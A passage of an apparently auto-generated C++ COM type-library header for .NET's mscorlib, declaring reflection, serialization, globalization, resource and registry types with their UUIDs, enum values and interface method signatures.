__declspec(uuid("ca308c9f-3b97-3152-acfa-8ab23c17df73")) MethodBase; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // [ default ] interface _MethodBase struct __declspec(uuid("0a541f87-ebd7-36a0-9a7d-9bbf86188766")) ConstructorInfo; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _MethodBase // [ default ] interface _ConstructorInfo struct __declspec(uuid("c2655ae8-0193-35d4-855e-f64909065c1e")) CustomAttributeData; // [ default ] interface _CustomAttributeData // interface _Object struct __declspec(uuid("cf452b26-6040-3acb-9c72-ce5bb86e5046")) DefaultMemberAttribute; // [ default ] interface _DefaultMemberAttribute // interface _Object // interface _Attribute enum __declspec(uuid("03c85cd9-d760-3aa8-94bd-f774407391cb")) EventAttributes { EventAttributes_None = 0, EventAttributes_SpecialName = 512, EventAttributes_ReservedMask = 1024, EventAttributes_RTSpecialName = 1024 }; struct __declspec(uuid("15762ca5-bc5c-3b86-a450-acf32fc98aa5")) EventInfo; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // [ default ] interface _EventInfo enum __declspec(uuid("c8679e0a-1c67-3a20-8645-0d930f529031")) FieldAttributes { FieldAttributes_FieldAccessMask = 7, FieldAttributes_PrivateScope = 0, FieldAttributes_Private = 1, FieldAttributes_FamANDAssem = 2, FieldAttributes_Assembly = 3, FieldAttributes_Family = 4, FieldAttributes_FamORAssem = 5, FieldAttributes_Public = 6, FieldAttributes_Static = 16, FieldAttributes_InitOnly = 32, FieldAttributes_Literal = 64, FieldAttributes_NotSerialized = 128, FieldAttributes_SpecialName = 512, FieldAttributes_PinvokeImpl = 8192, FieldAttributes_ReservedMask = 38144, FieldAttributes_RTSpecialName = 1024, FieldAttributes_HasFieldMarshal = 4096, FieldAttributes_HasDefault = 32768, FieldAttributes_HasFieldRVA = 256 }; struct __declspec(uuid("98ba57dc-4cf2-3ed1-b4a2-890c21bbbf4b")) FieldInfo; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // [ default ] interface _FieldInfo struct __declspec(uuid("7b938a6f-77bf-351c-a712-69483c91115d")) InvalidFilterCriteriaException; // [ default ] interface _InvalidFilterCriteriaException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("f695c021-dcf5-397b-a300-edaa51da5a5b")) ManifestResourceInfo; // [ default ] interface _ManifestResourceInfo // interface _Object enum __declspec(uuid("e84fe360-54e3-3884-adee-7c6832dd354e")) ResourceLocation { ResourceLocation_Embedded = 1, ResourceLocation_ContainedInAnotherAssembly = 2, ResourceLocation_ContainedInManifestFile = 4 }; struct __declspec(uuid("f52fd74c-ada6-38cc-ae0f-693afb9b9a8f")) MemberFilter; // [ default ] interface _MemberFilter // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable enum __declspec(uuid("513b8b77-4930-36ba-9a22-0daeb293e109")) MemberTypes { MemberTypes_Constructor = 1, MemberTypes_Event = 2, MemberTypes_Field = 4, MemberTypes_Method = 8, MemberTypes_Property = 16, MemberTypes_TypeInfo = 32, MemberTypes_Custom = 64, MemberTypes_NestedType = 128, MemberTypes_All = 191 }; enum __declspec(uuid("641ab47a-9351-3a37-81c1-647d31873f15")) MethodAttributes { MethodAttributes_MemberAccessMask = 7, MethodAttributes_PrivateScope = 0, MethodAttributes_Private = 1, MethodAttributes_FamANDAssem = 2, MethodAttributes_Assembly = 3, MethodAttributes_Family = 4, MethodAttributes_FamORAssem = 5, MethodAttributes_Public = 6, MethodAttributes_Static = 16, MethodAttributes_Final = 32, MethodAttributes_Virtual = 64, MethodAttributes_HideBySig = 128, MethodAttributes_CheckAccessOnOverride = 512, MethodAttributes_VtableLayoutMask = 256, MethodAttributes_ReuseSlot = 0, MethodAttributes_NewSlot = 256, MethodAttributes_Abstract = 1024, MethodAttributes_SpecialName = 2048, MethodAttributes_PinvokeImpl = 8192, MethodAttributes_UnmanagedExport = 8, MethodAttributes_RTSpecialName = 4096, MethodAttributes_ReservedMask = 53248, MethodAttributes_HasSecurity = 16384, MethodAttributes_RequireSecObject = 32768 }; enum __declspec(uuid("bcab3a5d-f2cd-3c69-841d-ad001969bf50")) MethodImplAttributes { MethodImplAttributes_CodeTypeMask = 3, MethodImplAttributes_IL = 0, MethodImplAttributes_Native = 1, MethodImplAttributes_OPTIL = 2, MethodImplAttributes_Runtime = 3, MethodImplAttributes_ManagedMask = 4, MethodImplAttributes_Unmanaged = 4, MethodImplAttributes_Managed = 0, MethodImplAttributes_ForwardRef = 16, MethodImplAttributes_PreserveSig = 128, MethodImplAttributes_InternalCall = 4096, MethodImplAttributes_Synchronized = 32, MethodImplAttributes_NoInlining = 8, MethodImplAttributes_NoOptimization = 64, MethodImplAttributes_MaxMethodImplVal = 65535 }; struct __declspec(uuid("0e22cc27-ca1e-3138-9640-be831f721659")) MethodInfo; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _MethodBase // [ default ] interface _MethodInfo struct __declspec(uuid("d5faac26-db25-34e7-adbd-ad5ed51f9433")) Missing; // [ default ] interface _Missing // interface _Object // interface ISerializable enum __declspec(uuid("68da8301-be1b-3c22-b9f2-db8f48694ddd")) PortableExecutableKinds { PortableExecutableKinds_NotAPortableExecutableImage = 0, PortableExecutableKinds_ILOnly = 1, PortableExecutableKinds_Required32Bit = 2, PortableExecutableKinds_PE32Plus = 4, PortableExecutableKinds_Unmanaged32Bit = 8 }; enum __declspec(uuid("51191552-c65e-360d-ba21-9f0e454fd59f")) ImageFileMachine { ImageFileMachine_I386 = 332, ImageFileMachine_IA64 = 512, ImageFileMachine_AMD64 = 34404, ImageFileMachine_ARM = 452 }; struct __declspec(uuid("128191c5-b188-3054-81b7-e4f588eacf0e")) Module; // interface _Object // [ default ] interface _Module // interface ISerializable // interface ICustomAttributeProvider struct __declspec(uuid("d495920d-00a0-3d6f-920c-672df186cec8")) ObfuscateAssemblyAttribute; // [ default ] interface _ObfuscateAssemblyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("93d11de9-5f6c-354a-a7c5-16ccca64a9b8")) ObfuscationAttribute; // [ default ] interface _ObfuscationAttribute // interface _Object // interface _Attribute enum __declspec(uuid("6bd98650-5ae6-3f03-b6cf-1463bbd45e6d")) ExceptionHandlingClauseOptions { ExceptionHandlingClauseOptions_Clause = 0, ExceptionHandlingClauseOptions_Filter = 1, ExceptionHandlingClauseOptions_Finally = 2, ExceptionHandlingClauseOptions_Fault = 4 }; struct __declspec(uuid("17ca8e14-f624-3879-94ca-6b9556a97d1f")) ExceptionHandlingClause; // [ default ] interface _ExceptionHandlingClause // interface _Object struct __declspec(uuid("8e2ea778-34a7-32a0-8cc2-0baa5aa2066a")) MethodBody; // [ default ] interface _MethodBody // interface _Object struct __declspec(uuid("14c0b634-a0e7-3e5d-be59-b2bf1a571ffc")) LocalVariableInfo; // [ default ] interface _LocalVariableInfo // interface _Object enum __declspec(uuid("688a6ff0-5727-32d2-8228-6e838a822616")) ParameterAttributes { ParameterAttributes_None = 0, ParameterAttributes_In = 1, ParameterAttributes_Out = 2, ParameterAttributes_Lcid = 4, ParameterAttributes_Retval = 8, ParameterAttributes_Optional = 16, ParameterAttributes_ReservedMask = 61440, ParameterAttributes_HasDefault = 4096, ParameterAttributes_HasFieldMarshal = 8192, ParameterAttributes_Reserved3 = 16384, ParameterAttributes_Reserved4 = 32768 }; struct __declspec(uuid("da295a1b-c5bd-3b34-8acd-1d7d334ffb7f")) ISymbolWriter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Initialize ( /*[in]*/ long emitter, /*[in]*/ BSTR filename, /*[in]*/ VARIANT_BOOL fFullBuild ) = 0; virtual HRESULT __stdcall DefineDocument ( /*[in]*/ BSTR Url, /*[in]*/ GUID Language, /*[in]*/ GUID LanguageVendor, /*[in]*/ GUID DocumentType, /*[out,retval]*/ struct ISymbolDocumentWriter * * pRetVal ) = 0; virtual HRESULT __stdcall SetUserEntryPoint ( /*[in]*/ struct SymbolToken entryMethod ) = 0; virtual HRESULT __stdcall OpenMethod ( /*[in]*/ struct SymbolToken Method ) = 0; virtual HRESULT __stdcall CloseMethod ( ) = 0; virtual HRESULT __stdcall DefineSequencePoints ( /*[in]*/ struct ISymbolDocumentWriter * document, /*[in]*/ SAFEARRAY * offsets, /*[in]*/ SAFEARRAY * lines, /*[in]*/ SAFEARRAY * columns, /*[in]*/ SAFEARRAY * endLines, /*[in]*/ SAFEARRAY * endColumns ) = 0; virtual HRESULT __stdcall OpenScope ( /*[in]*/ long StartOffset, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall CloseScope ( /*[in]*/ long EndOffset ) = 0; virtual HRESULT __stdcall SetScopeRange ( /*[in]*/ long scopeID, /*[in]*/ long StartOffset, /*[in]*/ long EndOffset ) = 0; virtual HRESULT __stdcall DefineLocalVariable ( /*[in]*/ BSTR name, /*[in]*/ enum FieldAttributes Attributes, /*[in]*/ SAFEARRAY * signature, /*[in]*/ enum SymAddressKind addrKind, /*[in]*/ long addr1, /*[in]*/ long addr2, /*[in]*/ long addr3, /*[in]*/ long StartOffset, /*[in]*/ long EndOffset ) = 0; virtual HRESULT __stdcall DefineParameter ( /*[in]*/ BSTR name, /*[in]*/ enum ParameterAttributes Attributes, /*[in]*/ long sequence, /*[in]*/ enum SymAddressKind addrKind, /*[in]*/ long addr1, /*[in]*/ long addr2, /*[in]*/ long addr3 ) = 0; virtual HRESULT __stdcall DefineField ( /*[in]*/ struct SymbolToken parent, /*[in]*/ BSTR name, /*[in]*/ enum FieldAttributes Attributes, /*[in]*/ SAFEARRAY * signature, /*[in]*/ enum SymAddressKind addrKind, /*[in]*/ long addr1, /*[in]*/ long addr2, /*[in]*/ long addr3 ) = 0; virtual HRESULT __stdcall DefineGlobalVariable ( /*[in]*/ BSTR name, /*[in]*/ enum FieldAttributes Attributes, /*[in]*/ SAFEARRAY * signature, /*[in]*/ enum SymAddressKind addrKind, /*[in]*/ long addr1, /*[in]*/ long addr2, /*[in]*/ long addr3 ) = 0; virtual HRESULT __stdcall Close ( ) = 0; virtual HRESULT __stdcall SetSymAttribute ( /*[in]*/ struct SymbolToken parent, /*[in]*/ BSTR name, /*[in]*/ SAFEARRAY * data ) = 0; virtual HRESULT __stdcall OpenNamespace ( /*[in]*/ BSTR name ) = 0; virtual HRESULT __stdcall CloseNamespace ( ) = 0; virtual HRESULT __stdcall UsingNamespace ( /*[in]*/ BSTR FullName ) = 0; virtual HRESULT __stdcall SetMethodSourceRange ( /*[in]*/ struct ISymbolDocumentWriter * startDoc, /*[in]*/ long startLine, /*[in]*/ long startColumn, /*[in]*/ struct ISymbolDocumentWriter * endDoc, /*[in]*/ long endLine, /*[in]*/ long endColumn ) = 0; virtual HRESULT __stdcall SetUnderlyingWriter ( /*[in]*/ long underlyingWriter ) = 0; }; struct __declspec(uuid("e5ce8078-0ca7-3578-80db-f20fca8786a6")) ParameterInfo; // interface _Object // [ default ] interface _ParameterInfo // interface ICustomAttributeProvider // interface IObjectReference #pragma pack(push, 8) struct __declspec(uuid("11d31042-14c0-3b5c-87d0-a2cd40803cb5")) ParameterModifier { SAFEARRAY * _byRef; }; #pragma pack(pop) struct __declspec(uuid("0517463e-1139-3970-bfa9-dcc997b23e7c")) Pointer; // [ default ] interface _Pointer // interface _Object // interface ISerializable enum __declspec(uuid("816c979c-d3d2-3101-b5ca-e4a5c5e966fa")) PropertyAttributes { PropertyAttributes_None = 0, PropertyAttributes_SpecialName = 512, PropertyAttributes_ReservedMask = 62464, PropertyAttributes_RTSpecialName = 1024, PropertyAttributes_HasDefault = 4096, PropertyAttributes_Reserved2 = 8192, PropertyAttributes_Reserved3 = 16384, PropertyAttributes_Reserved4 = 32768 }; struct __declspec(uuid("bfdf1f57-230d-394a-b773-d9ec58cbef9a")) PropertyInfo; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // [ default ] interface _PropertyInfo struct __declspec(uuid("843b19ad-a02b-3852-ac56-fdc798935630")) ReflectionTypeLoadException; // [ default ] interface _ReflectionTypeLoadException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("d89e7f8e-9f99-3ee9-8fce-d97e64c8650e")) ResourceAttributes { ResourceAttributes_Public = 1, ResourceAttributes_Private = 2 }; struct __declspec(uuid("d633f013-0563-312a-b9d6-d067a7d59231")) StrongNameKeyPair; // [ default ] interface _StrongNameKeyPair // interface _Object // interface IDeserializationCallback // interface ISerializable struct __declspec(uuid("0d23f8b4-f2a6-3eff-9d37-bdf79ac6b440")) TargetException; // [ default ] interface _TargetException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("03d016e3-cae1-3068-880e-af8d08d517f0")) TargetInvocationException; // [ default ] interface _TargetInvocationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("da317be2-1a0d-37b3-83f2-a0f32787fc67")) TargetParameterCountException; // [ default ] interface _TargetParameterCountException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("28ee6224-fd72-3bdf-b248-ba9102fceb14")) TypeAttributes { TypeAttributes_VisibilityMask = 7, TypeAttributes_NotPublic = 0, TypeAttributes_Public = 1, TypeAttributes_NestedPublic = 2, TypeAttributes_NestedPrivate = 3, TypeAttributes_NestedFamily = 4, TypeAttributes_NestedAssembly = 5, TypeAttributes_NestedFamANDAssem = 6, TypeAttributes_NestedFamORAssem = 7, TypeAttributes_LayoutMask = 24, TypeAttributes_AutoLayout = 0, TypeAttributes_SequentialLayout = 8, TypeAttributes_ExplicitLayout = 16, TypeAttributes_ClassSemanticsMask = 32, TypeAttributes_Class = 0, TypeAttributes_Interface = 32, TypeAttributes_Abstract = 128, TypeAttributes_Sealed = 256, TypeAttributes_SpecialName = 1024, TypeAttributes_Import = 4096, TypeAttributes_Serializable = 8192, TypeAttributes_StringFormatMask = 196608, TypeAttributes_AnsiClass = 0, TypeAttributes_UnicodeClass = 65536, TypeAttributes_AutoClass = 131072, TypeAttributes_CustomFormatClass = 196608, TypeAttributes_CustomFormatMask = 12582912, TypeAttributes_BeforeFieldInit = 1048576, TypeAttributes_ReservedMask = 264192, TypeAttributes_RTSpecialName = 2048, TypeAttributes_HasSecurity = 262144 }; struct __declspec(uuid("19e2e2f7-b53c-366b-8840-aba2f8cb98b5")) TypeDelegator; // [ default ] interface _TypeDelegator // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _Type // interface IReflect struct __declspec(uuid("37e24f25-5ef0-366f-9d0f-f7b9e3edffd9")) TypeFilter; // [ default ] interface _TypeFilter // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("d23d2f41-1d69-3e03-a275-32ae381223ac")) FormatterConverter; // [ default ] interface _FormatterConverter // interface _Object // interface IFormatterConverter struct __declspec(uuid("688c32ea-1e9c-3a4b-90e0-a4d2a1d73f3f")) FormatterServices; // [ default ] interface _FormatterServices // interface _Object struct __declspec(uuid("1c97ef1d-74ed-3d21-84a4-8631d959634a")) OptionalFieldAttribute; // [ default ] interface _OptionalFieldAttribute // interface _Object // interface _Attribute struct __declspec(uuid("9bf86f6e-b0e1-348b-9627-6970672eb3d3")) OnSerializingAttribute; // [ default ] interface _OnSerializingAttribute // interface _Object // interface _Attribute struct __declspec(uuid("6f8527bf-5aad-3236-b639-a05177332efe")) OnSerializedAttribute; // [ default ] interface _OnSerializedAttribute // interface _Object // interface _Attribute struct __declspec(uuid("30ac0b94-3bdb-3199-8a5d-eca0c5458381")) OnDeserializingAttribute; // [ default ] interface _OnDeserializingAttribute // interface _Object // interface _Attribute struct __declspec(uuid("18b1c7ee-68e3-35bb-9e40-469a223285f7")) OnDeserializedAttribute; // [ default ] interface _OnDeserializedAttribute // interface _Object // interface _Attribute struct __declspec(uuid("25d97db7-bdc3-3205-b86b-956b852ece76")) SerializationBinder; // [ default ] interface _SerializationBinder // interface _Object struct __declspec(uuid("57154c7c-edb2-3bfd-a8ba-924c60913ebf")) SerializationException; // [ default ] interface _SerializationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("d69398c1-7541-33e7-b544-a803f380ffb6")) SerializationInfo; // [ default ] interface _SerializationInfo // interface _Object struct __declspec(uuid("341ba870-b7fe-3cbc-9a72-b7894c6ec171")) SerializationInfoEnumerator; // [ default ] interface _SerializationInfoEnumerator // interface _Object // interface IEnumerator enum __declspec(uuid("78304e50-a1e6-3d84-a718-49020681e02e")) StreamingContextStates { StreamingContextStates_CrossProcess = 1, StreamingContextStates_CrossMachine = 2, StreamingContextStates_File = 4, StreamingContextStates_Persistence = 8, StreamingContextStates_Remoting = 16, StreamingContextStates_Other = 32, StreamingContextStates_Clone = 64, StreamingContextStates_CrossAppDomain = 128, StreamingContextStates_All = 255 }; #pragma pack(push, 8) struct __declspec(uuid("79179aa0-e14c-35ea-a666-66be968af69f")) StreamingContext { IUnknown * m_additionalContext; enum StreamingContextStates m_state; }; #pragma pack(pop) struct __declspec(uuid("6e70ed5f-0439-38ce-83bb-860f1421f29f")) IObjectReference : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetRealObject ( /*[in]*/ struct StreamingContext Context, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("e6854c08-0666-3939-bdf1-e1555a2c49fa")) Formatter; // [ default ] interface _Formatter // interface _Object // interface IFormatter struct __declspec(uuid("4f272c37-f0a8-350c-867b-2c03b2b16b80")) ObjectIDGenerator; // [ default ] interface _ObjectIDGenerator // interface _Object struct __declspec(uuid("c3a27c9a-5f79-3b7a-963d-39b1e5202b55")) ObjectManager; // [ default ] interface _ObjectManager // interface _Object struct __declspec(uuid("88c8a919-eb24-3cca-84f7-2ea82bb3f3ed")) SurrogateSelector; // [ default ] interface _SurrogateSelector // interface _Object // interface ISurrogateSelector struct __declspec(uuid("8a93390f-4331-317f-b450-1e0e4914e335")) Calendar; // [ default ] interface _Calendar // interface _Object // interface ICloneable enum __declspec(uuid("f680a48a-2d6c-33f1-aff7-6273b785b035")) CalendarAlgorithmType { CalendarAlgorithmType_Unknown = 0, CalendarAlgorithmType_SolarCalendar = 1, CalendarAlgorithmType_LunarCalendar = 2, CalendarAlgorithmType_LunisolarCalendar = 3 }; enum __declspec(uuid("117d12e1-4d32-3326-b23e-57d4fe34a527")) CalendarWeekRule { CalendarWeekRule_FirstDay = 0, CalendarWeekRule_FirstFullWeek = 1, CalendarWeekRule_FirstFourDayWeek = 2 }; enum __declspec(uuid("fdbf0369-d278-3320-b9ce-0e0719380c0f")) CompareOptions { CompareOptions_None = 0, CompareOptions_IgnoreCase = 1, CompareOptions_IgnoreNonSpace = 2, CompareOptions_IgnoreSymbols = 4, CompareOptions_IgnoreKanaType = 8, CompareOptions_IgnoreWidth = 16, CompareOptions_OrdinalIgnoreCase = 268435456, CompareOptions_StringSort = 536870912, CompareOptions_Ordinal = 1073741824 }; struct __declspec(uuid("6747ff61-f8da-3689-bb01-47f2266ae261")) CompareInfo; // [ default ] interface _CompareInfo // interface _Object // interface IDeserializationCallback struct __declspec(uuid("348a8c6d-464a-3f21-856b-061370d54599")) CultureInfo; // [ default ] interface _CultureInfo // interface _Object // interface ICloneable // interface IFormatProvider struct __declspec(uuid("5df1ce00-4ebd-3f48-887a-c4bcca7ad912")) CultureNotFoundException; // [ default ] interface _CultureNotFoundException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("ab8e1300-f46a-3ffd-bcef-a45de1c55458")) CultureTypes { CultureTypes_NeutralCultures = 1, CultureTypes_SpecificCultures = 2, CultureTypes_InstalledWin32Cultures = 4, CultureTypes_AllCultures = 7, CultureTypes_UserCustomCulture = 8, CultureTypes_ReplacementCultures = 16, CultureTypes_WindowsOnlyCultures = 32, CultureTypes_FrameworkCultures = 64 }; enum __declspec(uuid("f62ff05f-99ce-30db-8344-2b2c26f5765c")) DateTimeStyles { DateTimeStyles_None = 0, DateTimeStyles_AllowLeadingWhite = 1, DateTimeStyles_AllowTrailingWhite = 2, DateTimeStyles_AllowInnerWhite = 4, DateTimeStyles_AllowWhiteSpaces = 7, DateTimeStyles_NoCurrentDateDefault = 8, DateTimeStyles_AdjustToUniversal = 16, DateTimeStyles_AssumeLocal = 32, DateTimeStyles_AssumeUniversal = 64, DateTimeStyles_RoundTripKind = 128 }; struct __declspec(uuid("70a738d1-1bc5-3175-bd42-603e2b82c08b")) DateTimeFormatInfo; // [ default ] interface _DateTimeFormatInfo // interface _Object // interface ICloneable // interface IFormatProvider struct __declspec(uuid("5050fe97-72a6-3bc6-92f2-9dd0413041e3")) DaylightTime; // [ default ] interface _DaylightTime // interface _Object enum __declspec(uuid("a2d18600-d187-399c-b2ed-6fa8ed5d2a59")) DigitShapes { DigitShapes_Context = 0, DigitShapes_None = 1, DigitShapes_NativeNational = 2 }; struct __declspec(uuid("68f8aea9-1968-35b9-8a0e-6fdc637a4f8e")) GregorianCalendar; // [ default ] interface _GregorianCalendar // interface _Object // interface ICloneable enum __declspec(uuid("d535a40b-83c0-36fc-82d1-7ef2de252ecc")) GregorianCalendarTypes { GregorianCalendarTypes_Localized = 1, GregorianCalendarTypes_USEnglish = 2, GregorianCalendarTypes_MiddleEastFrench = 9, GregorianCalendarTypes_Arabic = 10, GregorianCalendarTypes_TransliteratedEnglish = 11, GregorianCalendarTypes_TransliteratedFrench = 12 }; struct __declspec(uuid("2206d773-ca1c-3258-9456-ceb7706c3710")) HebrewCalendar; // [ default ] interface _HebrewCalendar // interface _Object // interface ICloneable struct __declspec(uuid("ee832ce3-06ca-33ef-8f01-61c7c218bd7e")) HijriCalendar; // [ default ] interface _HijriCalendar // interface _Object // interface ICloneable struct __declspec(uuid("47ff8f5e-f989-39ff-a985-898bf36109bd")) EastAsianLunisolarCalendar; // [ default ] interface _EastAsianLunisolarCalendar // interface _Object // interface ICloneable struct __declspec(uuid("5c3e6ce8-b218-3762-883c-91bc987cdc2d")) JulianCalendar; // [ default ] interface _JulianCalendar // interface _Object // interface ICloneable struct __declspec(uuid("374050dd-6190-3257-8812-8230bf095147")) JapaneseCalendar; // [ default ] interface _JapaneseCalendar // interface _Object // interface ICloneable struct __declspec(uuid("1a06a4dc-e239-3717-89e1-d0683f3a5320")) KoreanCalendar; // [ default ] interface _KoreanCalendar // interface _Object // interface ICloneable struct __declspec(uuid("0c630393-7583-333c-ab5d-cb10b910f69b")) RegionInfo; // [ default ] interface _RegionInfo // interface _Object struct __declspec(uuid("f34b5293-82d0-32a5-9165-ae789fd3cf15")) SortKey; // [ default ] interface _SortKey // interface _Object struct __declspec(uuid("31c967b5-2f8a-3957-9c6d-34a0731db36c")) StringInfo; // [ default ] interface _StringInfo // interface _Object struct __declspec(uuid("769b8b68-64f7-3b61-b744-160a9fcc3216")) TaiwanCalendar; // [ default ] interface _TaiwanCalendar // interface _Object // interface ICloneable struct __declspec(uuid("4c96da7c-8858-3c24-a973-cb50f2860a91")) TextElementEnumerator; // [ default ] interface _TextElementEnumerator // interface _Object // interface IEnumerator struct __declspec(uuid("bca1528c-6369-37ad-8cc1-db24a92cc6b1")) TextInfo; // [ default ] interface _TextInfo // interface _Object // interface ICloneable // interface IDeserializationCallback struct __declspec(uuid("ec3dac94-df80-3017-b381-b13dced6c4d8")) ThaiBuddhistCalendar; // [ default ] interface _ThaiBuddhistCalendar // interface _Object // interface ICloneable struct __declspec(uuid("146a47ab-a2cf-3587-bb25-2b286d7566b4")) NumberFormatInfo; // [ default ] interface _NumberFormatInfo // interface _Object // interface ICloneable // interface IFormatProvider enum __declspec(uuid("00d1aca9-41f2-3340-816e-330175414a56")) NumberStyles { NumberStyles_None = 0, NumberStyles_AllowLeadingWhite = 1, NumberStyles_AllowTrailingWhite = 2, NumberStyles_AllowLeadingSign = 4, NumberStyles_AllowTrailingSign = 8, NumberStyles_AllowParentheses = 16, NumberStyles_AllowDecimalPoint = 32, NumberStyles_AllowThousands = 64, NumberStyles_AllowExponent = 128, NumberStyles_AllowCurrencySymbol = 256, NumberStyles_AllowHexSpecifier = 512, NumberStyles_Integer = 7, NumberStyles_HexNumber = 515, NumberStyles_Number = 111, NumberStyles_Float = 167, NumberStyles_Currency = 383, NumberStyles_Any = 511 }; enum __declspec(uuid("299e2a7d-6551-3ed1-b4a0-a51cb56eefe7")) UnicodeCategory { UnicodeCategory_UppercaseLetter = 0, UnicodeCategory_LowercaseLetter = 1, UnicodeCategory_TitlecaseLetter = 2, UnicodeCategory_ModifierLetter = 3, UnicodeCategory_OtherLetter = 4, UnicodeCategory_NonSpacingMark = 5, UnicodeCategory_SpacingCombiningMark = 6, UnicodeCategory_EnclosingMark = 7, UnicodeCategory_DecimalDigitNumber = 8, UnicodeCategory_LetterNumber = 9, UnicodeCategory_OtherNumber = 10, UnicodeCategory_SpaceSeparator = 11, UnicodeCategory_LineSeparator = 12, UnicodeCategory_ParagraphSeparator = 13, UnicodeCategory_Control = 14, UnicodeCategory_Format = 15, UnicodeCategory_Surrogate = 16, UnicodeCategory_PrivateUse = 17, UnicodeCategory_ConnectorPunctuation = 18, UnicodeCategory_DashPunctuation = 19, UnicodeCategory_OpenPunctuation = 20, UnicodeCategory_ClosePunctuation = 21, UnicodeCategory_InitialQuotePunctuation = 22, UnicodeCategory_FinalQuotePunctuation = 23, UnicodeCategory_OtherPunctuation = 24, UnicodeCategory_MathSymbol = 25, UnicodeCategory_CurrencySymbol = 26, UnicodeCategory_ModifierSymbol = 27, UnicodeCategory_OtherSymbol = 28, UnicodeCategory_OtherNotAssigned = 29 }; struct __declspec(uuid("eaecc459-5ce4-35a2-a085-5afc0451c03a")) Encoding; // [ default ] interface _Encoding // interface _Object // interface ICloneable struct __declspec(uuid("cc9d4538-57e8-3a82-886a-5fe65a127a5a")) Encoder; // [ default ] interface _Encoder // interface _Object struct __declspec(uuid("a924269d-5df2-33af-b72a-3250c4105ebe")) Decoder; // [ default ] interface _Decoder // interface _Object struct __declspec(uuid("9e28ef95-9c6f-3a00-b525-36a76178cc9c")) ASCIIEncoding; // [ default ] interface _ASCIIEncoding // interface _Object // interface ICloneable enum __declspec(uuid("b38da717-d61b-3c13-93ce-2b9370d0ae43")) NormalizationForm { NormalizationForm_FormC = 1, NormalizationForm_FormD = 2, NormalizationForm_FormKC = 5, NormalizationForm_FormKD = 6 }; struct __declspec(uuid("a0f5f5dc-337b-38d7-b1a3-fb1b95666bbf")) UnicodeEncoding; // [ default ] interface _UnicodeEncoding // interface _Object // interface ICloneable struct __declspec(uuid("3c9dca8b-4410-3143-b801-559553eb6725")) UTF7Encoding; // [ default ] interface _UTF7Encoding // interface _Object // interface ICloneable struct __declspec(uuid("8c40d44a-4ede-3760-9b61-50255056d3c7")) UTF8Encoding; // [ default ] interface _UTF8Encoding // interface _Object // interface ICloneable struct __declspec(uuid("8965a22f-fba8-36ad-8132-70bbd0da457d")) IResourceReader : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Close ( ) = 0; virtual HRESULT __stdcall GetEnumerator ( /*[out,retval]*/ struct IDictionaryEnumerator * * pRetVal ) = 0; }; struct __declspec(uuid("e97aa6e5-595e-31c3-82f0-688fb91954c6")) IResourceWriter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall AddResource ( /*[in]*/ BSTR name, /*[in]*/ BSTR value ) = 0; virtual HRESULT __stdcall AddResource_2 ( /*[in]*/ BSTR name, /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall AddResource_3 ( /*[in]*/ BSTR name, /*[in]*/ SAFEARRAY * value ) = 0; virtual HRESULT __stdcall Close ( ) = 0; virtual HRESULT __stdcall Generate ( ) = 0; }; struct __declspec(uuid("726bbdf4-6c6d-30f4-b3a0-f14d6aec08c7")) MissingManifestResourceException; // [ default ] interface _MissingManifestResourceException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("d41969a6-c394-34b9-bd24-dd408f39f261")) MissingSatelliteAssemblyException; // [ default ] interface _MissingSatelliteAssemblyException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("87797538-6bae-366a-a9bc-012c8f62ea44")) NeutralResourcesLanguageAttribute; // [ default ] interface _NeutralResourcesLanguageAttribute // interface _Object // interface _Attribute struct __declspec(uuid("9afb3b93-e6da-35d6-b9fe-44815e2bfd45")) ResourceManager; // [ default ] interface _ResourceManager // interface _Object struct __declspec(uuid("dd78b5ed-aa52-3b2b-a1b4-6ce3ce3155ea")) ResourceReader; // [ default ] interface _ResourceReader // interface _Object // interface IResourceReader // interface IEnumerable // interface IDisposable struct __declspec(uuid("a907f7cd-8c99-31ea-ac00-80fa4d94780a")) ResourceSet; // [ default ] interface _ResourceSet // interface _Object // interface IDisposable // interface IEnumerable struct __declspec(uuid("9187a0d6-508c-36cc-a79f-f90b89a0e154")) ResourceWriter; // [ default ] interface _ResourceWriter // interface _Object // interface IResourceWriter // interface IDisposable struct __declspec(uuid("f4ae34f8-6ce4-32dc-96ba-9c7a0a9c6d06")) SatelliteContractVersionAttribute; // [ default ] interface _SatelliteContractVersionAttribute // interface _Object // interface _Attribute enum __declspec(uuid("2173568c-6edc-392b-880a-cc158d7e2bda")) UltimateResourceFallbackLocation { UltimateResourceFallbackLocation_MainAssembly = 0, UltimateResourceFallbackLocation_Satellite = 1 }; struct __declspec(uuid("9b4ef4fa-742e-3878-953a-474999711087")) Registry; // [ default ] interface _Registry // interface _Object enum __declspec(uuid("b3b46869-c190-3199-96da-4006e2ac6e72")) RegistryHive { RegistryHive_ClassesRoot = 0x80000000, RegistryHive_CurrentUser = -2147483647, RegistryHive_LocalMachine = -2147483646, RegistryHive_Users = -2147483645, RegistryHive_PerformanceData = -2147483644, RegistryHive_CurrentConfig = -2147483643, RegistryHive_DynData = -2147483642 }; struct __declspec(uuid("2c8fa9bd-cbe4-3223-b592-41b5a22fb820")) 